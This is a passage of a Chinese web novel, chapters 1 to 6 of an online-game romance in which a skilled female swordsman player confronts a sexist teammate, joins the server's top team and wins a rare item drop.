《夫人你掉马了[键盘网游]》 1. 路见不平 《夫人你掉马了[键盘网游]》全本免费阅读 “魔伽你站着干嘛,眼瞎啊?那么大一个boss你看不到吗?” “……我封印了,没中啊。” “你这种水平出来打什么副本,键盘上撒把米鸡都玩的比你好你信吗?” “……” “还有奶妈,治疗量这么少,还不跟着我,你想让我怎么输出?” 一旁的奶妈大概是个妹妹,没敢出声反驳。 “没本事就滚,老子真是倒霉,打个副本遇到你们这些菜鸡,说了多少遍,女的别来玩游戏,除了躺还会干什么,靠!” 耳机里队友骂骂咧咧的声音持续传来,白念有点不耐烦了。 她啧了一声,挪动鼠标,一键把这个破防男的麦克风关了,游戏画面里只能看到他玩的角色趴在地上死得彻彻底底,再无动静。 耳朵终于清静了。 面无表情抬起手打字,发送。 【早睡身体好:不用救了,奶我。】 是对着队伍里的奶妈说的。 此刻躺在地上的男剑尊玩家叫唤了一整局,输出没打多少,脏话喷了一车。 大约是被恶心到了,奶妈立刻意会,果断忽略他躺平的尸体,专注地治疗起白念一个人,队伍里的其余两个辅助队友也心领神会,快速地衔接上回血和封印技能。 封印终于命中。 凶残的獒妖被暂时定在原地动弹不得。 白念看着自己人物角色状态恢复到一半,心里极快地估算了一下地图中央BOSS的剩余血量。 差不多了。 纤长的十指在键盘上翻飞,极快手速余留下的残影几乎有如实质。 只见屏幕里的玄衣女剑客身形一动,飞快地闪避开残血獒妖封印消失后发动的致命一击,提起手中寒光闪动的九逍剑,朝着獒妖的下腹部刺去。 残血獒妖暴怒之下反应极快,压下肌肉虬结的小臂横空一档,生生挡住了白念的利剑攻势,凌冽的剑气堪堪擦过獒妖下盘,没造成太多伤害。 队伍里奶妈见到一击不成,急得给白念猛打撤退信号。 但白念嘴角轻轻一扬。 上当了。 獒妖伸出重拳格挡的惯性,让它整个庞大的身躯走势向下倾斜,脆弱的天灵盖立刻暴露在白念的屏幕视野当中。 就是现在! 玄衣女侠纵身闪避开来,调转九逍剑攻击方向,冷白的剑身被舞出轻快而凌厉的剑花。趁着獒妖低头的瞬间飞身跃起,长剑精准一击,带着寒光的剑气没入它狰狞的面门红心,爆发伤害瞬间融化它所剩无几的血条。 战斗场景里渲染氛围的急促鼓点音乐骤然停止,寂静无声间,BOSS轰然倒下。 退出副本的倒计时还有五秒,白念敲击键盘,发送消息。 【女的怎么了?没你照样赢,废,物。@弈剑し听雨阁】 副本结束。 弈剑し听雨阁——这个ID,正是喷了一整局脏话的男剑尊玩家,光速退出了队伍。 獒妖副本打完了,人也骂了。 白念退出了随机进的队伍,长舒一口气,向后一仰靠在椅背上,心情舒畅。 她在玩的这个游戏叫做《万古》,是一款大型3D古风武侠网络游戏,主打的是竞技与休闲玩法兼顾。 简单地说,就是退可种地养鸡云养老,进可打打杀杀闯江湖。 可谓是兼容并包。 加上宣传时播放的实机游戏画面实在是惊艳卓绝,古朴的画风、精良的模型质感和宏大的游戏场景十分吸睛,搭配丰富的游戏玩法,吸引了无数玩家入坑。 彼时的白念刚初中毕业,妈妈带弟弟去上课外班,无暇顾及她,于是爸爸把她被送到奶奶家过暑假,偷跑出门的未成年人白念在黑网吧开启了她的网游生涯。 进入游戏后,玩家可以选择人、神、魔任意一族,各种族又分别下设两个门派供玩家选择,各门派属性各有不同,有物理输出、法系输出、辅助、封印等不同流派。 白念选择的是人族的剑尊门派,一个女性剑客,暴力物理输出,简单直接,是她喜欢的。 她挑的人物时装也很符合她的角色调性。 屏幕里的女剑客身着玄衣,手持长剑,长发飘逸,气质飒然。 好友消息栏闪烁起来。 【国产美少女请求加您为好友,请问是否同意?】 是刚刚队伍的奶妈——神族的月华门派,一个忽扇着翅膀的精灵仙子,很卡哇伊的形象。 白念随手点了同意。 【国产美少女:谢谢你,刚才替我说话~】 【早睡身体好:不用客气,清扫垃圾人人有责】 【国产美少女:哈哈哈!大神姐姐,你人这么好,操作又厉害,期待你早日成为剑尊第一哦!】 白念眼角抽了抽。 她!也!想!啊! 自从她一路升级打怪爬到剑尊门派第二的位置以后,她已经在这个名次上苟了两年了。 风不语——这个剑尊门派第一、兼任综合排行榜第一的大佬,稳稳当当压在她头顶两年之久,是白念冲击强者之路上的厚重绊脚石——还踢不动的那种。 作为一名对自己操作非常自信的好战分子,午夜梦回之际,白念总想提起剑跟他决一死战,以分胜负。 可惜风不语有固定的队伍,平时压根碰不上面。 总不可能直接冲到他面前:“喂,看你不爽很久了,打一架?” 多冒昧啊。 眼看暂时没有什么重要任务,白念传送到雪山上,随便找了个人少的地方开始挂机采药。 然后摘下耳机,拿起电脑旁的书继续翻看,放松心情去了。 一个小时后,等她再次抬起头,当前频道居然已经吵得沸反盈天。 【弈剑し听雨阁:怎么不说话了,现在在这装什么呢?】 【桃芝し听雨阁:玩个奶妈打副本不救人,666】 【婉若清し听雨阁:站起来打啊,怂什么】 【恨浮笙し听雨阁:给你撑腰的人呢,怎么不嚣张了】 白念眼睛一瞥,看到了说话的ID,弈剑……嚯,老熟人。 循着人多的方向走过去,人群之中赫然是刚才一起打副本的小奶妈,此刻游戏角色慌张地跌坐在地上,周边采集好的草药散落一地。 再抬头一看,围着她的人全是听雨阁的帮 2. 拔刀相助 《夫人你掉马了[键盘网游]》全本免费阅读 单方面的群殴一触即发。 眼前这个女剑客态度实在是过于嚣张,听雨阁的众人开始还面面相觑,不敢率先动手。 直到对面的人又慢悠悠开启嘲讽。 【早睡身体好:怂就让开,别浪费我时间】 众怒心头起。 不知道谁先开的头,拔剑的拔剑,提刀的提刀,其中三五个人一拥而上,直奔白念而来。 场面一度混乱。 “哇,欺负一个小女生就算了,还想欺负第二个。”高旭夸张的语气传来,“这个剑小二也很嚣张啊,我都不知道要不要劝一下。” ……剑尊排行第二在他嘴里说着说着就变剑小二了。 【风不语:看一看。】 按理说双拳难敌四手,奈何白念操作速度实在太快,劈砍过来的武器还没落到她翻飞的衣角上,她就侧身避开了,还要顺便赏人一剑。偶尔有碰到她的,血条才刚下去一点,就被一旁的小奶妈眼疾手快奶回来了。 【早睡身体好:没吃饭吗?】 弈剑当了半天缩头乌龟,看到人多势众,加上白念嘲讽字字诛心,终于忍不住拔剑从背后刺向她。 白念一时间没有防备,被刺中了后背,血条掉了半管。 啧,剑尊输出高是高,就是太脆皮了。 白念一边嫌弃着,一边一跃而起躲开弈剑的连环攻击,反手一挡格开伤害,然后向下一挥剑,直接砍得弈剑血条一空。 没打死,还剩一点。 还想补上一剑,但是一旁有人的刀已经落到耳畔。来不及了,白念立刻跳开,躲开这致命攻击。 小奶妈连忙给她加血。 【早睡身体好:除了偷袭就没别的招数了么,废物】 弈剑大怒,直接开了语音:“少他妈废话,你看你死不死就完了!” 说完和刀客前后夹击,直奔女剑客而来,不得手不罢休的架势。 白念旋身原地跃起,毫厘之差从双面夹击中跳出,翻过身踩过刀客的头顶,回首就是一剑。 一穿二。 眼看阁主瞬间趴地上了,拎着武器的几人一下子懵了。 不是,阁主就这? 随波逐流的愤怒来得快去得也快,剩下的人突然感觉自己像小丑,原地呆住了。 【早睡身体好:不打了?】 【桃芝し听雨阁:你们倒是上啊!发什么呆呢!】 没人动作。 【早睡身体好:行了别折腾了,有空的话关心下你老公,还能抢救一下。】 大庭广众之下围攻一个人已经是极度丢脸,更别提还没打过——弈剑再也顾不上一阁之主的脸面,破防大骂:“一个女的在这里装什么呢,排行高点了不起啊。鬼知道你的第二名怎么来的,床上一躺腿一张哥哥带我,完事儿了来游戏里耀武扬威了!” 听雨阁众人面面相觑,桃芝终于不可置信地看向自己的老公。 白念怒极反笑。 【早睡身体好:能带我的人么,大概只有风不语,你要不替我问问他,愿不愿意让我喊哥哥带带?】 弈剑还没来得及反驳。 【风不语:不敢当。】 白念眼皮一跳,怎么这么巧。 本尊来了。 一旁的围观群众开始窃窃私语,能惊动榜一大神现身说话,今天的八卦突然刺激了起来。 【风不语:碰巧路过,无意偷听】 白念略微尴尬。 【早睡身体好:那什么,我也是随口开玩笑的。】 【风不语:没事。】 又转身看向地上的弈剑,缓缓开口。 【风不语:看不起人没关系,只要你有实力。】 言下之意就是你没能力就别比比了。 弈剑被门派前二轮番羞辱,心理防线彻底溃败,口不择言,“呵呵,看到是个女的就帮忙说话啊,风不语你也就这样了。” 白念的神经被今天一口一个女的烦得突突直跳。 【早睡身体好:张口闭口就是看不起女的,看不起你倒是站起来说话。】 “鬼知道你屏幕后面是男是女啊!女的能有这操作!” 弈剑嘴硬得有点失去理智了。 【早睡身体好:我倒真有点可怜你了……操作么,打你绰绰有余了。】 说罢白念又扭头看向桃芝。 【早睡身体好:一个只会躲在自己老婆身后,还性别歧视的怂男,擦亮眼睛吧,看看他到底值不值得你为他冲锋陷阵,别被当枪使了。】 回头喊上小奶妈。 【早睡身体好:我们走吧。】 没人再拦一下。 密集的人群三三两两地散去,这场闹剧终于收尾。 “禹哥,你觉得这个剑尊怎么样?”高旭看完全程,起身走过来,吊儿郎当地压在严禹肩膀上问道。 严禹很慢地冲着自己被压的肩膀递过去一个眼神,狭长的眼尾把嫌弃的眼神拉得无比冷冽,高旭下意识松开手站直了身体傻笑,“哎哟,禹哥我忘了,不好意思。” 严禹凉凉地把眼神收回去了。 一旁的白景行也回过头扒着寝室里的椅背插嘴:“嗯,正义之士,我很欣赏。” “去去去,谁问你这个了。”高旭甩甩手,“咱们的法师不是弃游了吗,得找个新输出。” 严禹盯着电脑屏幕,正看着早睡身体好和小奶妈远去的背影,若有所思,闻言头也没抬地回答:“操作不错。” “难得见你夸人哎,那和你比怎么样?”高旭凑近了八卦。 严禹思考了一秒刚才看到的画面,“不知道。” “不过玩了这么久,我看她一直都是独来独往的,可不一定会愿意加入咱们。”白景行客观分析道。 这是实话。 《万古》开服至今,他们陆陆续续玩了四年,对排行榜严禹名字下这个第二名都有些眼熟了。 平时只看她身边没什么朋友,也不组固定队,需要做组队任务就在世界上随便喊个车,硬是凭实力把网游玩成了单机游戏……颇有一股子与世无争的味道。 当然了,如果不是在竞技场上一言不发地把对面揍得抱头鼠窜的话。 早睡身体好,这个透露着保温杯里枸杞香的慈祥ID,已经成为本服众多玩家心里的神秘大佬:行踪神秘,输出爆炸,人强话少,疑似人妖。 严禹开口:“随缘吧,现在我们四个人也能打。” 耳机里传来一声清脆的女声,队伍里的奶妈说话了:“就是,哥哥一个人的输出就够了。” 除了此刻寝室里的三个人,他们队伍里还有个人,就是正在说话的奶妈,叫江知玥。她和严禹两人的母亲是好朋友,所以两人从小熟识,游戏也是江知玥央求严禹带上的她。 “行吧行吧,什么时候碰上的话,我看看能不能把她拐过来,到时候队伍里两个输出爆炸的剑尊,嘿嘿嘿嘿嘿。”高旭已经开始憧憬起队伍里的美好未来。 白景行嫌弃地转身回去了:“把你的口水擦擦。” — 【国产美少女:不好意思啊,又麻烦你了,还连累你被围攻……】 传送到清净的地方,刚刚的小奶妈很愧疚地向白念道歉。 【早睡身体好:不是你的错,不用道歉。 3. 组队 《夫人你掉马了[键盘网游]》全本免费阅读 白念眼前一片浓稠的黑暗。 前方隐约有亮光,她跌跌撞撞地迈步向前扑去,近了……更近了。 光亮中突然伸出一双布满皱纹的手,把她往身后的黑暗中用力一推,“你妈怎么又把你丢来我这?我孙子呢?” 她吃力地爬起来,懵懂得不知道为什么发生了什么,旁边突然出现一个宽阔的胸膛。 “爸爸……”她尽力向那若隐若现的白色衬衫跑过去。 那高大的身躯弯下腰来,却没有拥抱她,“你是姐姐,应该懂事了。” 另一张画着浓妆的脸不耐烦地把透露着光的门重重一砸,光亮消失了,所有身影也消失了。 黑暗可以隐藏一切,包括她自己。 白念眼睁睁看着自己的身躯开始被浓雾吞噬。 眼睛、鼻子、耳朵、嘴巴…… 她拼命呐喊,没有声音。 缓缓坠入深渊。 白念猛地睁开眼睛。 她醒了。 “念念,你怎么啦?”一旁的室友丁菲菲被她骤然直起身的动作吓了一跳,跑过来关心地问道。 白念抬起头对视上菲菲清澈的双眼,缓慢地回过神来。 “没事……我刚才不小心睡着了。” “是不是前阵子做课题设计太累了啊。”身后的寝室长江含卿闻言询问道。 她们念的晋城大学建筑系,刚结束一个方案设计。江含卿以为白念是累坏了,伸出掌心贴在白念的额头感受了一下她的温度,才放下心来。 “念念,去床上睡吧,挺晚啦。”右手边的方淇指了指窗户外。 白念顺着她手指的方向看出去,初夏的晋城,空气闷热无风,天色已经黑尽,沉甸甸地压着白念的视线。 居然已经十点半了。 白念伸手关了电脑,把手边的书页合起来,放到书架高处。然后起身洗了个澡,重新躺回床上,盯着白色的天花板,缓慢地阖上双眼。 一夜无梦。 白念没想到听雨阁事件还有后续。 第二天傍晚刚登上游戏,聊天界面置顶的小喇叭就开始播报。 【国产美少女:听雨阁阁主昨天带人围殴我的前因后果,已截取录屏放在本人空间,欢迎围观。【视频链接】】 不知道小奶妈用了几个全服喇叭,这条广播在顶部滚动不停。 吃瓜群众都去看了。 什么? 堂堂一个会长被獒妖三番五次打倒在地,还怒喷队友试图甩锅? 什么? 一个大男人带着帮众把小奶妈堵在大雪山围杀就算了,还反复鞭尸? 什么? 剑尊第二的大佬挺身而出,以一敌数,还赢了? 什么? 排行第一的大佬也来落井下石了! 世界上的围观群众感觉自己如同瓜田里的猹,上蹿下跳。 见到白念上线了,小奶妈赶紧给她发消息。 【国产美少女:姐姐你来啦!你看到世界频道了吗?】 【早睡身体好:看到了】 【国产美少女:嘻嘻,绝不能让人误会姐姐随便欺负人~幸好游戏有录像缓存。】 虽然误会了也没什么。 但是白念心头一暖。 【早睡身体好:干得漂亮。】 世界频道里热热闹闹,系统公告突然连番蹦出新的消息。 【系统:桃芝し听雨阁与弈剑し听雨阁解除婚约,从此天各一方,独行江湖。】 【系统:弈剑し听雨阁退出公会【听雨阁】】 【系统:桃芝し听雨阁改名为网恋擦亮眼】 【系统:网恋擦亮眼将公会【听雨阁】名称更改为【绝情谷】】 白念看着系统消息,扯了扯唇角。 还算有点脑子。 世界上的吃瓜群众嗑着瓜子津津有味吃瓜。 【ta好像她:啧啧,小桃子终于看清软饭男的嘴脸了】 【拽拽的蚂蚁:以前为爱甘心让出会长之位,如今情断了就清理门户】 【封刀不再战:女人变脸比翻书还快】 【野蛮小可爱:滚!我们会长以前只是遇人不淑,被狗男人骗了】 【葬爱三少:只有我关注点在早睡身上吗,一打多我狠狠爱上了,早睡你是我的偶像~】 【夢也渺渺:我也爱上了,这边建议奶妈立刻以身相许】 …… 不再关注世界的闲聊,白念随手敲下一行字。 【早睡身体好:日常副本来个车队,缺物理输出的拉我。】 顷刻间,消息栏闪烁不停。 【仗剑放光芒邀您组队4/5】 【ta好像她邀您组队3/5】 【帅气超人请求添加您为好友:大佬加一个,以后组固定队下本】 【帅气超人邀您组队1/5】 【葬爱三少:早睡大神看看人家,好久不见甚是想念~】 【葬爱三少:偶像还是这么冷漠,人家好心碎呜呜呜T-T】 【退堂鼓国家二级鼓手:三少我给你准备了鸡笼,回家吧】 …… 队伍很多,白念拒绝了好友申请,随手上了一个车队。 日常本难度不高,白念挂着机看了会儿书,再抬头就发现,已经在打最终BOSS了——正是昨天那只雄赳赳的獒妖,带着手底下歪瓜裂枣的小弟正堵在进山的路上迎战玩家队伍。 今天打得这么快? 白念往屏幕里仔细一看,队伍里那个飞身一剑打出高额暴击伤害,顺手取了闹事boss项上狗头的白衣剑客,头上挂着明晃晃的三个大字。 风不语。 名字下面映衬着服务器第一专属的的银光闪闪的底纹特效,十分拉风。 原来这是风不语他们的固定队,难怪效率奇高。 还真是巧了,玩了几年游戏都没交集的人,连续两天撞见了。 不过他们队伍里的法师呢?怎么不见了。 管他如何,托这位的福,剑尊前两名的大佬来了个世纪大会面。 大佬相见不相识,默默挂机宰boss。 此刻除了队长仗剑放光芒在勤勤恳恳地带队走剧情之外,其他人应该都在挂机,队里安安静静。 五个人配置都很好,日常任务基本不用操心,更别提剑尊前二一起上阵了,沉默且暴力。 白念默默比较着她和风不语打出的伤害数值,估测自己和他的属性差距。 “叮”,游戏里清脆的消息提示音,把白念从满脑子的争强好胜中拉了回来。 【仗剑放光芒请求添加您为好友:哈喽啊大神,给个好友位吧!你要不要考虑和我们组固定队,我们法师有事弃坑了T-T】 原来是队长仗剑放光芒已经带队刷完了副本,把队伍带到了万古的中心地图——宁安城,然后也不解散队伍,拉着一队人在这看风景。 这里是游戏里最繁华的地方,地图四方排布了各大门派的传送点,是链接整个游戏场景的中心地图。场景中央是中心广场,每个场景传送过来都会落脚在这里。 此刻人群密集,热闹非凡。 见早睡身体好一时半会没同意他的好友申请,仗剑放光芒开始在队里一个人飞快地敲起字来了。 【仗剑放光芒:这位早睡…呃,大神,怎么称呼你好呢?】 ……这个队伍每个人实力都不俗,这人一口一个大神,倒是一点儿不拘束。 【仗剑放光芒:你要不要考虑跟我们组固定队啊,我看你平时也是一个人,省得你再找车队了^-^】 【仗剑放光芒:我们一会要打浮砚山降魔,你要不要一起啊】 【仗剑放光芒:队里的另一个剑尊有事,稍等一会就来】 刚准备点离队的白念稍微犹豫了一下,她不喜欢网络上的交际,怕麻烦。 但是…她又看了一眼风不语的人物角色,白衣剑客站在一旁,身上的神兵瑞气腾腾。 她喜欢暴力输出,推崇实力至上,这几年也不是没别的队伍招揽过她,但是一看别人打得还不如她,她就觉得没劲。 还不如随缘单机。 但是这个固定队实力强劲,队伍里还有她一直想单挑但是没机会的剑尊第一。 一个队的话以后找他PK是不是就很方便了……犹豫,又心动。 思考两秒,白念果断打定主意,抬手打字,发送。 【早睡身体好:行】 【仗剑放光芒:你答应了!】 【早睡身体好:嗯】 队里的奶妈也说话了。 【月色杳杳:哥哥去干嘛了呀】 【仗剑放光芒:打电话去了】 【月色杳杳:哦哦】 【仗剑放光芒:今天效率真高,有两个暴力输出就是爽嘿嘿(*^▽^*)】 【月色杳杳:这个剑尊是小姐姐吗】 应该是看白念女剑客角色推测的。 不怪他们都对她的性别游疑不定,这么个名字,又独来独往,加上竞技场PK追着人砍的英姿… buff叠满了,很难评。 【仗剑放光芒: 4. 出手 《夫人你掉马了[键盘网游]》全本免费阅读 “禹哥禹哥,快来看!我把昨天那个剑小二拐来了。” 严禹刚打完电话回来,高旭就扯着嗓子喊他看游戏。 还真被他拉进队了? 他拿起鼠标快速地划了一边队伍里的消息,看到满屏的东拉西扯,目光落在最后一句,挑了挑眉。 高旭在一边咧个嘴狂笑,“她居然说我可爱哈哈哈!原来女生也吃卖萌这一套啊,我的人格魅力还是很值得肯定的。” 一旁的白景行默默翻了个白眼否定他:“有没有可能,人家同意进队跟你也没有太大关系。” “切,看不起人是吧。”高旭横了白景行一眼,转向严禹求夸夸:“怎么样?禹哥,本人出马,一个顶俩!厉害吧。” 严禹没什么情绪地嗯了一声:“还行。” “不过话说回来,没想到她真是女生啊。”白景行感慨道。 高旭指了指自己:“不然我为什么在这卖萌,为了队伍建设我真是牺牲太多了。” 严禹看着屏幕里玄衣女侠的身影,突然开口:“操作和性别无关。” 高旭认同地点点头:“说正经的,我看她一个人玩了好几年了,独来独往的,正好咱们队缺人,把他忽悠来咯。我看她跟禹哥挺像的,表面高冷,其实还挺好说话。” 严禹拿起鼠标:“闭嘴吧,上号。” 【仗剑放光芒:开开开,人来了OvO】 【风不语:开吧,我好了】 【风不语:还有,收起你的颜文字,看着头疼】 沉浸于卖萌的高旭:“哈哈哈哈哈哈哈哈哈哈!” 【月色杳杳:哥哥,你忙完啦】 【风不语:嗯】 晚上八点,浮砚山降魔副本挑战开放,仗剑放光芒带着队伍刷完灵鸟道具赶往浮砚山入口进行副本挑战。 【仗剑放光芒:月月,今天两个脆皮,辛苦你多注意一下啦】 【月色杳杳:嗯嗯,我会的】 副本BOSS是魔主冥天,防御和输出值都很高。 剑尊门派主打物理暴力输出,攻击速度很高。相比起站在后面打群体输出、攻速又慢的法师而言,更吸引怪物的仇恨,角色身板也更脆。 他们队伍原本的另一个法系输出是玉霄门派,主打群体法伤,虽然没有爆发瞬秒能力,但是防御比剑尊要高,也不拉仇恨。 因此两个剑尊的阵容虽然输出效率更高,但也更考验辅助角色的操作。 月色杳杳玩的月华,是万古里唯一一个有复活技能的门派,技能复活比吃药复活方便且回血高,所以平日里打难度副本的时候,月色杳杳重点关照对象就是风不语。 今天又多一个剑尊,高旭担心她不习惯,临时提醒她一句。 副本一共有五关,前四关只是和boss的随从战斗,难度由低到高。因为第四关奖励也不错,而魔主难度较高,很难打过去,一般玩家打通第四关就撤退了。 不过这会儿排行前二的两个剑尊,加上其他三个人的配置也很优秀,他们没什么波折的通过了前四关,见到了封印在黑暗中的boss冥天。 “休想阻止我……”,面目狰狞的boss低沉的咆哮在耳边响起,它挥拳重击地面,晃动中祭出噬魂之术,径直向队伍最前方的风不语砸来。 噬魂之术是进入第五关之后魔主会立刻释放的第一个技能,并且此技能免疫控制—也就是说,从一开始就给他技能封印掉的想法是不切实际的。 被噬魂之术命中的角色将直接死亡,且一分钟内无法被复活。突然减员是很多玩家一进到第五关撑不过一分钟的原因。 慢性怪人的角色凌云主打防御和解控,他动作迅速地挥出武器折扇给风不语套上护盾,预备在魔主噬魂技能砸中风不语的瞬间给他净化控制和伤害。 可惜魔主这个第一技能每次出手的时机都不一定,他预判快了一秒,净化技能甩出以后噬魂之术的黑雾才堪堪到达风不语面前。 顷刻间,众人眼前一晃,风不语一袭白衣的身影突然从原地消失,就在即将被打中的瞬间,他依靠护盾加持的移速极限闪避开来,转身向魔主侧边挥出凌厉一剑并迅速撤开半步,魔主受伤仰天长啸了一声。 好厉害。 白念第一次和风不语组队,骤然感受到了第一剑客的压迫感,不是来自于装备的加持,而是这飒然的操作。 就算是她自己,时不时也会折戟在这第一波攻击里,因为噬魂之术优先选中队伍里攻击力最高的人。以往若她自己倒地,随机组的野队大概率都打不过魔主了。 好在白念比较佛系,混个第四关就算了。 隐隐被激出一点兴奋感,白念提起剑飞身上前向魔主防御最低的头部刺去,魔主反应迅速地挥臂抵御,白念立刻旋身向下,调转方向朝魔主腹部挥出迅捷一剑,刺中了。 攻击得手后她立刻向一边跳开,奈何刚刚遭受风不语攻击的魔主又扛下她第二剑的高额输出,怒气值暴涨,原地立起庞大的身躯怒吼着甩出群体法伤攻击,漫天的黑雾攻击登时让白念的血量减掉大半。 与此同时,慢性怪人眼疾手快给她套上护盾并恢复了少量气血,仗剑放光芒也举起魔刀释出魔族枷印,暂时封印住魔主的进攻动作。 紧张间白念瞥见屏幕左下角队伍的小喇叭一亮,是仗剑放光芒开口指挥:“玥玥,快给剑尊加血,趁着它被封印了再输出一波!” 语毕,月色杳杳一挥法杖,习惯性地给风不语头上点起了续魂灯。 “点错了点错了玥玥,是给早睡点啊啊啊!”仗剑放光芒略显跳脱的声线再次传来。 一时间,满血头上却亮着续魂灯的风不语,和残血站在一边的白念两相对比,在幽暗的场景中营造出一种诡异的喜感。 “对不起……我习惯了,一下子没反应过来。”月色杳杳的头像旁也亮起小喇叭,一道轻柔的女声传来。 白念刚想自己吃颗药,突然看到自己的人物身上闪过一道红光,是风不语用随身灵宠给她吃了一颗回血丹——可以看出丹药等级很高,因为她瞬间满血了。 白念一愣,只见风不语沉默着提剑飞身上前继续输出,她立刻敛神,召唤灵宠释放技能进攻并迅速提剑跟上。 五人的灵宠等级和天赋都很高,趁着魔主蓄力下一波攻击的间隙五只灵宠快速加入战场。 魔主高额的群体伤害继续袭来,月色杳杳赶快给白念也点上续魂灯,加上慢性怪人的护盾和回血,局面堪堪稳住。 五个人尤其是两个脆皮剑尊状态虽然不佳,但一直维持在生存线之上。 八分钟的缠斗之后,魔主 5. 欧神 《夫人你掉马了[键盘网游]》全本免费阅读 【系统】【功夫不负有心人!恭喜侠士仗剑放光芒、风不语、慢性怪人、月色杳杳、早睡身体好齐心协力,联手击败了试图逃离地牢的魔主冥天,破解浮砚山魔瘴,振奋三界!】 白念看着久违的通关界面,眼神亮亮的,许久未有的兴奋感隐秘地爬上心口,昨晚梦魇的郁结一扫而空。 【系统】【恭喜侠士慢性怪人击败浮砚山魔主,获得系统奖励高级灵兽诀】 【系统】【恭喜侠士月色杳杳击败浮砚山魔主,获得系统奖励千山玄铁】 【系统】【恭喜侠士仗剑放光芒击败浮砚山魔主,获得系统奖励修炼丹】 【系统】【恭喜侠士风不语击败浮砚山魔主,获得系统奖励修炼丹】 【系统】【恭喜侠士早睡身体好击败浮砚山魔主,获得系统奖励苍黎之心】 系统连番滚动播报着五个人获得的副本奖励。 白念看着系统播报,以及掉落在屏幕正中的系统奖励:一颗闪闪发光的苍黎之心,被自己的突如其来的欧气震惊了。 风不语和仗剑放光芒手里的修炼丹只能增加一点点经验值,是聊胜于无的时尚小垃圾。 但除此之外,其他人的奖励都很不错。 慢性怪人的高级灵兽诀用来给法系输出灵宠合成高级的输出技能并增加大量属性值,是提升灵宠属性的高级道具,不错;月色杳杳的千山玄铁是用来打造角色专属珍品装备的必备道具之一,也不错。 往日能够爆出这些高级道具已经是比较令人满意的结果了。 但是,跟白念角色手上金光闪闪的苍黎之心相比,两个高级道具突然就没那么拉风了。 此刻风不语刚收回剑鞘的银色长剑,正好名唤苍黎。 白念手上的苍黎之心,正是用来强化苍黎剑的珍品道具。 珍贵到什么程度呢? 有价无市,跨服商城里但凡上架就要遭到哄抢,售价高达十几二十万。 万古各门派玩家在10级、30级、60级、90级的不同阶段都可以在系统商城内购买或者通过打副本掉落自己门派的通用装备,这是现成的,无需打造。装备属性也能满足普通玩家日常需求了。 追求更高一点属性的玩家如果想要有所提升,就对通用武器进行精炼提升和属性石的镶嵌和升级就行。 每个门派的角色都有自己的通用武器。 比如月色杳杳的门派月华属于神族,扇着翅膀的精灵仙子,武器是轻盈的法杖;仗剑放光芒的门派魔枷属于魔族,武器是狰狞的魔刀;慢性怪人的门派凌云,和剑尊门派同属于人族,区别在于武器是斯文秀气的扇子,而剑尊的武器是一把长剑。 通用武器,顾名思义,普通且实用。 对于一般玩家而言,它的好处就是实用。 对于高级玩家而言,它的坏处就是普通。 因此追求实力大幅提升的竞技玩家都会打造自己的珍品武器。 武器是玩家综合实力的重要组成部分,因此打造专属珍品装备就是万古里的重要玩法之一,从材料收集、珍品锻造到属性提升,360度无死角的产业链也孕育了大批不同类型的玩家。 有专门收集材料摆摊卖钱的休闲型玩家; 有再论坛上研究各门派珍品装备强化升级方法的攻略型玩家; 也有拿着高级材料自己冒险打造珍品装备的风险型玩家,俗称赌狗,成则暴富,败则一无所有的。要么一锤子破产,要么一锤子发家致富,升官发财走上玩生巅峰。 当然了,相当一部分都是赌狗赌到最后一无所有,十分考验勇气和欧气。 所以专属的珍品武器不仅材料难得,而且要打造出极品属性更是需要极好的人品和欧气。 苍黎剑,正是剑尊男性角色的满级专属珍品装备。 当然,对于本服第一的风不语来说,他的满级满属性武器应该是靠24K纯氪金。 苍黎剑可以强化三次,强化材料就是苍黎之心,只有高难度副本才能小概率掉落,有价无市。因此就算是服务器排名第一的风不语,他的苍黎剑也才强化了两层,还差一层,需要三颗苍黎之心。 作为一个非酋玩家,风不语奉行材料本无缘,全靠我砸钱的原则,已经跨服交易氪金买到了两颗,还差一颗,此刻就在白念手上。 而此时的晋城大学男寝315房间里,看着严禹和自己手上一毛钱都不值的破修炼丹,高旭对着电脑流下了寒酸的眼泪。 一旁的白景行微笑着拍了拍他的肩:“先别哭,你再仔细看看系统播报。” 高旭闻言一抬头,正好看见了早睡身体好手上闪瞎他眼睛的苍黎之心,不可置信地揉了两遍眼睛,确认自己没眼花的高旭:“为什么啊啊啊啊啊啊啊啊啊啊啊啊啊啊!” 世界频道也是一阵喧哗。 【黯然人不留:好家伙,剑尊第一和第二一起暴揍魔主】 【葬爱三少:????????????????】 【葬爱三少:是我眼花了吗,有没有人看见我偶像掉落了什么奖励?】 【站住打劫裤衩:你没看错,是苍黎之心】 【荤素搭配求脸白:玛德,狗托,举报了】 【笑着伪装:楼上点了,兄弟们,举报走一波】 【本剑第一帅:苍黎之心能出手吗,私你了】 【葬爱三少:不愧是我偶像,身体好就算了,还锦鲤体质】 【葬爱三少:今天也是更爱偶像的一天呢,mua~mua~】 【退堂鼓国家二级鼓手:三少别骚了,回家吧】 …… 高旭叉掉世界频道快速刷新的消息,满含热泪地在队伍里控诉。 【仗剑放光芒:这非人的欧气,退一步海阔天空,比一下原地去世T-T】 【慢性怪人:可能你还不够帅。】 【月色杳杳:哥哥你是不是还差最后一颗苍黎之心?】 【风不语:嗯】 苍黎之心对白念确实没什么实质性作用。 白念是女角色,满级女剑尊用的专属剑名为九逍,九逍剑强化得用九逍之心。 白念跨服收购了一颗,把自己的九逍剑强化到了二级,后续没有再收购了,毕竟能提升的 6. 她 《夫人你掉马了[键盘网游]》全本免费阅读 晋大女寝702。 目之所及都是漆黑一片。 突如其来的停电,让整个寝室陷入黑暗,灯光俱灭,电脑机箱里散热风扇规律运转的声音突然消失。 寝室只有她一个人。 所有喧嚣的声音都暂停了,万籁寂静。 白念的心倏地提了起来,呼吸声突然被无限放大,身体里鼓噪的心跳愈来愈烈,几乎要冲破她的耳膜,脑子里开始神经性的轰鸣。 她捏紧了鼠标线,行动僵硬地转向左边,将背部紧紧地贴到冰冷坚硬的墙面上,眼睛没有焦点地瞪大,直视着眼前仿若无边的黑暗。 “天杀的怎么停电了!” “我的图纸还没保存!!!” “明天老章上课会宰了我啊啊啊……” 短暂的安静过后,寝室楼里传来此起彼伏连绵不绝的哀嚎。 建筑系大部分学生为了追求模型渲染效率,都用的台式机。这会一断电,好多没来得及保存图纸的学生奔走抓狂。 楼道里的声音缓缓地唤回了白念的理智。 她摸索着找到自己的手机,寻找手电筒功能。 手指有些颤抖,她点了两遍图标,终于点到。 灯亮了。 坐在椅子上短暂地平复了一下自己的呼吸,白念果断站起身来,拉开寝室门,往外走去。 楼道里也一片漆黑,只有应急指示牌绿色的荧光散发着微弱的亮。 